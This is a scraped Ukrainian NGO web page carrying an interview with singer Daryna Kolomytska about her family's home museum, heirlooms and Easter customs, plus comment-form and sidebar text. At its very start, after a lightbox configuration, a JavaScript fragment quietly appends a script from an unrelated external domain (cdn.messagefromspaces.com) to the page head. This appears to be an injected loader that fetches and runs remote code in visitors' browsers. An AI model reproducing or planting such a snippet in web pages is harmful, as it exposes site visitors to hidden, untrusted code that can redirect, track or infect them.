, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

ДАРИНА КОЛОМИЦЬКА: «Збереження сімейного затишку – найдорожча цінність!»

ДАРИНА КОЛОМИЦЬКА: «Збереження сімейного затишку – найдорожча цінність!»

Спочатку я почула її неймовірно чудовий голос, а потім побачила юну дівчинку з мікрофоном.

– Співає Дарина Коломицька, – оголосила ведуча. – І полилася українська пісня…

То було справжнє й незабутнє родинне свято на Подолі. Відтоді час від часу зустрічалася з чудовою родиною Коломицьких.

Нещодавно Світлана Винограденко, голова правління Міжнародної громадської організації «МОЗІРОН» запропонувала новий проект: «Сімейні цінності. Родинні реліквії». Про родинні цінності й реліквії говоримо з Дариною Коломицькою.

…Сьогодні найбільше багатство і здобуток Коломицьких – Музей родини. Тут особлива атмосфера. Тут дух національних традицій і звичаїв. З 2008 року у музеї проходять уроки християнської етики, які проводить Тетяна Коломицька. Дітки запалюють лампадки, читають «Отче наш», вчаться класти хрестика…

–  Сама ж історія створення Музею родини розпочалася зі зв’язки книжок мого прапрадіда Федора Івановича,  –  розповідає Дарина. –  Дідусь Володимир Гайовий передав мамі церковні книжки, датовані 1840 роком. А бабуся Ірина з великою любов’ю бережно поклала до рук «Кобзар» 1939 року й тихо мовила: «Збережіть! Передайте далі – онукам, правнукам! А ще, моя бабуся Ірина передала мамі своє українське весільне вбрання з проханням зберегти його, бо все те добро вишивала бабусина мама в 50-х роках минулого століття… Коли мені сумно чи важко, я торкаюся тих скарбів й на душі стає світліше…

…Бабуся частенько було посадить дівчинку на коліна й розповідає-розповідає про їхній славний рід, про звичаї і традиції краю.

Даринка звертає мою увагу на найдорожчі її серцю експонати музею. Ночви, діжка, рогачі, лопата, якою «закидали хліб» на випічку до печі…Тихенько підходить до люльки й наспівує колискову… У цій колисці виколисана її мама. Є в музеї і рушник «утирач» зі скромною вишивкою, якому …120 років! Ним витирала господиня руки, пораючись біля печі. Це подарунок музеєві від сім’ї Винограденків з їхнього родинного спадку. Унікальна й раритетна річ – справжня ступа, в якій товкли зерно, навіть мак для куті. Ця ступа виготовлена дідом Тетяни Гнатом наприкінці 30-х, уже після Голодомору, і має свою унікальну долю. Коли їхнє село окупували німці у Другу світову війну, то спалили його вщент. Селяни переховувалися в лісі до звільнення. А коли бабуся Єфросинія (дід уже загинув на той час) роздивлялася згарище своєї хати, то під кущем калини знайшла лише трішки пошкоджену, але «живу» ступу.

Центральну стіну в музеї займає покуття – почесне місце кожної сільської  хати за столом в кутку під іконами.

Оскільки я завітала до музею напередодні Великодня, Даринка дослівно розповідала про сімейні традиції цього свята. Як заздалегідь прибирають в хаті, перуть і прасують рушники. Паску печуть в четвер. Дотримуються тиші й спокою. В суботу фарбують яйця, складають кошик. До кошика кладуть паску, яйця, запечене м’ясце,свіжий огірок, помідор,якщо є. Ні в якому разі не беруть спиртні напої. Цікавлюся в Даринки, що ж для неї – сімейна цінність? Прошу продовжити цей вислів. «Це наші молитви і свята, які ми відзначаємо всією родиною. Збираємося всі у бабусі Ірини». Даринка вже й не уявляє родину без сімейного тепла і затишку. Без молитви.

– Збереження сімейного тепла для мене – це найдорожче. Дівчата іноді зауважують: «Дарино, ти часом бачиш те, чого інші не бачать. Ти радієш сонцю…співу… пташці…»

Даринка любить і вміє ненав’язливо прийти на допомогу. Разом з мамою їх частенько можна зустріти в госпіталі, в наркоцентрі. Вони готують виступи для хлопців з АТО.

Людмила ЧЕЧЕЛЬ

 

 

Добавить комментарий

Почта (не публикуется) Обязательные поля помечены *

*

Captcha Captcha Reload

Вы можете использовать эти HTML теги и атрибуты: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Вы можете добавить изображение к Вашему отзыву нажав здесь.

TRANSLATE

Russian to English Russian to German Russian to French Russian to Spanish Russian to Italian Russian to Japanese Russian to Chinese

Новости и События

Отзывы

  • Детская спортиная школа "Колос"

    Шановна Світлана Володимірівна! [img]http://moziron.org/wp-content/uploads/2016/12/viber-image_1.jpg[/img]
    Читать полностью...
    Оставлен 23 Дек 2016
  • Білоколодязький НВК

    Шановна Світлано Володимирівно! Вісловлюю вам щиру подяку за активну громадську позицію , вагомий внесок...
    Читать полностью...
    Оставлен 15 Дек 2016

ФОТОГАЛЕРЕЯ

2013.03.22 Charity project in Rovno (70).jpg2013.03.22 Charity project in Rovno (158).jpg2013.03.22 Charity project in Rovno (29).jpg
2013.03.22 Charity project in Rovno (18).jpg2013.03.22 Charity project in Rovno (224).jpg2013.03.22 Charity project in Rovno (145).jpg
2013.03.22 Charity project in Rovno (60).jpg2013.03.22 Charity project in Rovno (119).jpg2013.03.22 Charity project in Rovno (91).jpg

Видео

 

Наши партнеры

Бориспільський дошкільний навчальний заклад (ясла-садок) комбінованого типу №2